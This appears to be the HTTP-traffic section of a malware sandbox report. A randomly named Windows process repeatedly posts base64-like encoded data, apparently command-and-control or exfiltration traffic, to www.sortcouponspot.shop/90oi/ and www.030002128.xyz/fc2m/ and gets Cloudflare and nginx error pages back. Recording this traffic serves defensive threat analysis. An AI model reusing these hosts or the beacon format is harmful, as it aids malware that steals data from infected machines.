Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	172.67.158.234	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:04.360903025 CET	788	OUT	POST /90oi/ HTTP/1.1 Host: www.sortcouponspot.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.sortcouponspot.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.sortcouponspot.shop/90oi/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 62 66 75 52 74 77 54 74 50 53 7a 46 71 48 50 68 4c 70 57 6c 65 54 64 51 4f 5a 6a 43 57 34 42 4f 49 78 39 4f 63 52 73 63 6a 35 61 63 36 69 4c 33 4a 32 49 58 4e 51 59 51 53 4b 73 69 72 68 54 31 42 37 57 44 32 4f 5a 42 78 38 72 6e 49 46 4a 74 6d 78 31 38 57 6d 6e 32 75 78 76 71 6f 4f 4c 49 30 45 5a 72 36 48 36 5a 47 62 6b 61 64 51 44 4c 7a 5a 71 69 56 4c 78 4e 66 39 4a 75 74 43 6a 4f 6f 50 30 72 75 74 48 32 57 7a 4d 41 63 51 57 59 73 4a 79 34 58 47 69 74 76 7a 42 57 50 4e 51 54 57 64 56 34 78 7a 6e 63 33 76 30 30 58 54 68 32 6c 4d 79 4b 36 55 70 71 30 50 35 59 62 53 6d 6b 30 77 3d 3d Data Ascii: 9B_ppt=bfuRtwTtPSzFqHPhLpWleTdQOZjCW4BOIx9OcRscj5ac6iL3J2IXNQYQSKsirhT1B7WD2OZBx8rnIFJtmx18Wmn2uxvqoOLI0EZr6H6ZGbkadQDLzZqiVLxNf9JutCjOoP0rutH2WzMAcQWYsJy4XGitvzBWPNQTWdV4xznc3v00XTh2lMyK6Upq0P5YbSmk0w==
Dec 13, 2024 13:07:05.529803991 CET	1236	IN	HTTP/1.1 429 Date: Fri, 13 Dec 2024 12:07:05 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mx4h9vjU5Sr1j1uckUPPiQUZL2cEZg%2FzP9MS%2BnL2TypysYjC10H2vaoaCoQjD15zH%2Bn1MS1mvb2frSK2sGVHnntV4FDTkTf51eBBWhNJQMB04KMhMMKAbdWwddx478aXFDFWFAwUivY5Gg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f15d4f1faf64301-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1576&rtt_var=788&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=788&delivery_rate=0&cwnd=155&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 34 62 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 31 35 64 34 66 31 66 61 66 36 34 33 30 31 27 2c 74 3a 27 4d 54 63 7a 4e 44 [TRUNCATED] Data Ascii: 44b<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.15.0</center><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f15d4f1faf64301',t:'MTczNDA5MTYyNS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scrip
Dec 13, 2024 13:07:05.529853106 CET	662	IN	Data Raw: 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 22 3b 62 2e 67 65 74 45 6c 65 Data Ascii: ts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	172.67.158.234	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:07.034020901 CET	808	OUT	POST /90oi/ HTTP/1.1 Host: www.sortcouponspot.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.sortcouponspot.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.sortcouponspot.shop/90oi/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 62 66 75 52 74 77 54 74 50 53 7a 46 6f 6b 58 68 49 4f 4b 6c 57 54 64 52 4c 5a 6a 43 44 49 42 56 49 78 68 4f 63 54 41 79 6a 4c 2b 63 39 44 37 33 4b 7a 38 58 4f 51 59 51 4b 36 73 6a 6f 52 53 59 42 37 61 4c 32 4d 4e 42 78 38 2f 6e 49 42 4e 74 6e 42 4a 2f 57 32 6e 77 68 52 76 73 77 75 4c 49 30 45 5a 72 36 48 66 4d 47 62 38 61 64 6a 62 4c 7a 38 47 6a 59 72 78 4f 59 39 4a 75 36 53 6a 53 6f 50 30 4a 75 6f 6e 51 57 32 41 41 63 52 6d 59 72 64 65 35 65 47 6a 6f 77 6a 41 4b 46 76 49 44 54 59 73 6d 37 79 4c 6f 30 73 42 54 57 56 73 73 30 39 54 64 6f 55 4e 5a 70 49 77 73 57 52 62 74 76 79 34 54 52 70 47 66 44 39 6d 4d 6c 75 77 79 4c 33 2b 32 2f 58 41 3d Data Ascii: 9B_ppt=bfuRtwTtPSzFokXhIOKlWTdRLZjCDIBVIxhOcTAyjL+c9D73Kz8XOQYQK6sjoRSYB7aL2MNBx8/nIBNtnBJ/W2nwhRvswuLI0EZr6HfMGb8adjbLz8GjYrxOY9Ju6SjSoP0JuonQW2AAcRmYrde5eGjowjAKFvIDTYsm7yLo0sBTWVss09TdoUNZpIwsWRbtvy4TRpGfD9mMluwyL3+2/XA=
Dec 13, 2024 13:07:08.252403975 CET	1236	IN	HTTP/1.1 429 Date: Fri, 13 Dec 2024 12:07:08 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bFCN1DiW6CfBfm8g23dxAp7q3NC16K0ClwgiyYFQKesYaFFOvo7mYpvZs6U71YQ1mIdP2f2CLSQxYFcDbibvjdBxNcr09KKZfWXVlcgkeeE6ZGX%2B3lliK47Q37jalFYr%2Fe0nkqZFth%2BEFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f15d502e8f34259-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1571&rtt_var=785&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=808&delivery_rate=0&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 34 62 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 31 35 64 35 30 32 65 38 66 33 34 32 35 39 27 2c 74 3a 27 4d 54 63 7a 4e 44 [TRUNCATED] Data Ascii: 44b<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.15.0</center><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f15d502e8f34259',t:'MTczNDA5MTYyOC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scrip
Dec 13, 2024 13:07:08.252502918 CET	662	IN	Data Raw: 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 22 3b 62 2e 67 65 74 45 6c 65 Data Ascii: ts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	172.67.158.234	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:09.695612907 CET	10890	OUT	POST /90oi/ HTTP/1.1 Host: www.sortcouponspot.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.sortcouponspot.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.sortcouponspot.shop/90oi/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 62 66 75 52 74 77 54 74 50 53 7a 46 6f 6b 58 68 49 4f 4b 6c 57 54 64 52 4c 5a 6a 43 44 49 42 56 49 78 68 4f 63 54 41 79 6a 4c 32 63 39 78 7a 33 49 55 67 58 50 51 59 51 44 61 73 75 6f 52 53 67 42 37 43 50 32 4d 42 33 78 2f 48 6e 61 55 5a 74 75 54 74 2f 63 32 6e 77 71 78 76 70 6f 4f 4c 52 30 45 4a 6e 36 48 76 4d 47 62 38 61 64 6c 33 4c 6e 35 71 6a 4c 62 78 4e 66 39 4a 79 74 43 6a 32 6f 4d 46 30 75 6f 6a 6d 58 46 49 41 63 78 32 59 70 75 6d 35 52 47 6a 6d 7a 6a 41 43 46 76 31 45 54 59 59 69 37 79 4f 39 30 72 70 54 58 55 4e 42 71 75 76 62 35 69 52 38 38 50 41 32 61 41 33 41 6f 41 56 74 52 73 47 44 5a 64 53 53 74 75 35 70 66 46 69 47 69 68 70 51 32 70 7a 6c 6b 47 6e 38 31 61 35 6d 44 43 4e 2b 6e 36 44 32 57 42 61 59 35 71 6b 63 62 2f 65 7a 5a 58 48 6c 46 56 61 41 77 65 48 33 76 49 47 30 50 63 32 32 75 78 62 42 63 32 54 6c 4b 77 55 34 35 36 39 69 58 37 79 48 2f 68 52 52 44 6c 31 72 4c 79 42 56 71 5a 65 34 33 73 42 7a 57 73 74 69 44 57 6d 6e 2f 71 35 38 7a 38 6b 35 51 55 4b 66 6d 4c 4f [TRUNCATED] Data Ascii: 9B_ppt=bfuRtwTtPSzFokXhIOKlWTdRLZjCDIBVIxhOcTAyjL2c9xz3IUgXPQYQDasuoRSgB7CP2MB3x/HnaUZtuTt/c2nwqxvpoOLR0EJn6HvMGb8adl3Ln5qjLbxNf9JytCj2oMF0uojmXFIAcx2Ypum5RGjmzjACFv1ETYYi7yO90rpTXUNBquvb5iR88PA2aA3AoAVtRsGDZdSStu5pfFiGihpQ2pzlkGn81a5mDCN+n6D2WBaY5qkcb/ezZXHlFVaAweH3vIG0Pc22uxbBc2TlKwU4569iX7yH/hRRDl1rLyBVqZe43sBzWstiDWmn/q58z8k5QUKfmLOnFk0FP/Zke32Le0vErylRPvjdQSU9GXytfjEYVB4q0v0cqv7SWmA4w5His8FHkhih/ZbWfcHxlkpvn0StBty8xGRwmeZrla4NcjjPgSbUKqHgjW4wUq1/3D7QJRzFP0H4d+bdJrgKR/UOUIqzkhKRyWzU9MaGJfGfTwhjDAFspzKPmO6OX/JM26dlOWH+RHf4DLC/u/v8ZcC6x0dbw2gT4J/iEKkEojiNs5LgE7jZX3XLjsN8xGmzf2wPwv3N0lts45Hh5RZQLSNLkedLAI8rKduMaTvy5jeW4WxuM6lleFPw8nMAj7SIrEZiNE0VFJLtdqKqZniC+L3e1WI+CXEh8IbZYbWo62BSkWhhKgUzGZruStkMaM36dI29zGTFT29yrR5H+MTurOzfBgvJU+ERFrNwB2/hIzk3g8x9ADW3Cuxj6cGfqLaiZFlGB2kcbCdxNO8xoUXqBoeavtHhBzD4SUwyj6i5tuNQ5dvdI38mouuO5vACo9imFOp/Z/UxoBt7vcRUwmJjrtAilX2+unkBW/5hlmw4EiHdp4szuG2O//PvXoVi8r2K93pyUEukpD0UEHvQBnx6DFplZIPnngFjYO5pqISmfoQfzxbDQvtVjH0CdZojkwHHH3TcD1OEbKUThhkNbCxIVsmZbPMrYO1xVCiJgeQMsK9y+ [TRUNCATED]
Dec 13, 2024 13:07:10.908570051 CET	1236	IN	HTTP/1.1 429 Date: Fri, 13 Dec 2024 12:07:10 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=23gUTE9iJz7eJsNX1IZB0bt6N4lj%2BbTq8AfpN8agQx%2F32iQTdZcd2BjFSgDvSrZEH9R4uXC1ytxKDxkaIomkbC%2F8Qon0cQtOLThC3wOaHwOI%2BAu%2B%2FMB5f69hb37YHjjojtuPLjKcusaC3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f15d5135ea80f3e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1704&rtt_var=852&sent=5&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10890&delivery_rate=0&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 34 62 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 31 35 64 35 31 33 35 65 61 38 30 66 33 65 27 2c 74 3a 27 4d 54 63 7a 4e 44 [TRUNCATED] Data Ascii: 44b<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.15.0</center><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f15d5135ea80f3e',t:'MTczNDA5MTYzMC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platf
Dec 13, 2024 13:07:10.908677101 CET	671	IN	Data Raw: 6f 72 6d 2f 73 63 72 69 70 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 22 Data Ascii: orm/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	172.67.158.234	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:12.347208023 CET	518	OUT	GET /90oi/?9B_ppt=WdGxuHz/ABXbnxDuMcWeaiAtNv6zbYEnDSFRQwgnlI3l3VbPFG0OHzktVpkkqW+LG4OUxeltpIvdJ1ISlR18S3Wjl2Tf6Ort1F9q8CbBD/86Ywb40YjbYcY=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1 Host: www.sortcouponspot.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:07:13.579396009 CET	1236	IN	HTTP/1.1 429 Date: Fri, 13 Dec 2024 12:07:13 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BraqSLccUd4v3Kk5mRQJiUhUECQSF47EWOF5ybAAbZwWUHyr58hJAZ%2B4hJ0%2FbEpQegU9B9wsl2HJ9slSOxq8p4fFOvVUMVxXBqI7nN0yuaEiAhWlnihGnloXwj6p7xURftJnkpTQXlz0eg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f15d5241dec8ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1823&rtt_var=911&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=518&delivery_rate=0&cwnd=204&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 34 62 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 31 35 64 35 32 34 31 64 65 63 38 63 65 30 27 2c 74 3a 27 4d 54 63 7a 4e 44 [TRUNCATED] Data Ascii: 44b<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.15.0</center><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f15d5241dec8ce0',t:'MTczNDA5MTYzMy4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scrip
Dec 13, 2024 13:07:13.579413891 CET	662	IN	Data Raw: 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 22 3b 62 2e 67 65 74 45 6c 65 Data Ascii: ts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49768	161.97.142.144	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:07:19.234565973 CET	770	OUT	POST /fc2m/ HTTP/1.1 Host: www.030002128.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.030002128.xyz Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.030002128.xyz/fc2m/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 48 59 75 67 61 49 58 6e 66 2b 50 39 38 44 46 70 7a 57 35 4f 6c 47 75 51 4a 65 50 74 41 65 4b 4a 64 4c 72 79 34 46 38 31 47 62 69 68 62 76 36 6e 54 63 47 66 75 52 77 56 73 65 6e 32 4a 74 57 49 43 2f 6b 2b 6d 32 4f 74 75 41 66 53 62 5a 66 41 59 6d 78 46 42 73 4b 52 31 79 4f 45 4e 32 6e 53 6d 53 65 78 42 44 4c 63 52 46 62 71 69 69 79 4a 33 63 66 6f 36 56 66 47 69 44 37 67 77 50 47 34 61 48 6f 50 78 39 42 30 6f 59 79 48 4e 4f 67 75 71 2b 4e 79 5a 57 4f 6d 31 42 72 6c 43 59 58 52 47 68 4d 6e 41 44 30 4f 4d 37 59 64 74 43 4a 30 65 38 55 39 75 6d 56 73 32 52 54 4b 62 67 76 6a 5a 77 3d 3d Data Ascii: 9B_ppt=HYugaIXnf+P98DFpzW5OlGuQJePtAeKJdLry4F81Gbihbv6nTcGfuRwVsen2JtWIC/k+m2OtuAfSbZfAYmxFBsKR1yOEN2nSmSexBDLcRFbqiiyJ3cfo6VfGiD7gwPG4aHoPx9B0oYyHNOguq+NyZWOm1BrlCYXRGhMnAD0OM7YdtCJ0e8U9umVs2RTKbgvjZw==
Dec 13, 2024 13:07:20.468278885 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 13 Dec 2024 12:07:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 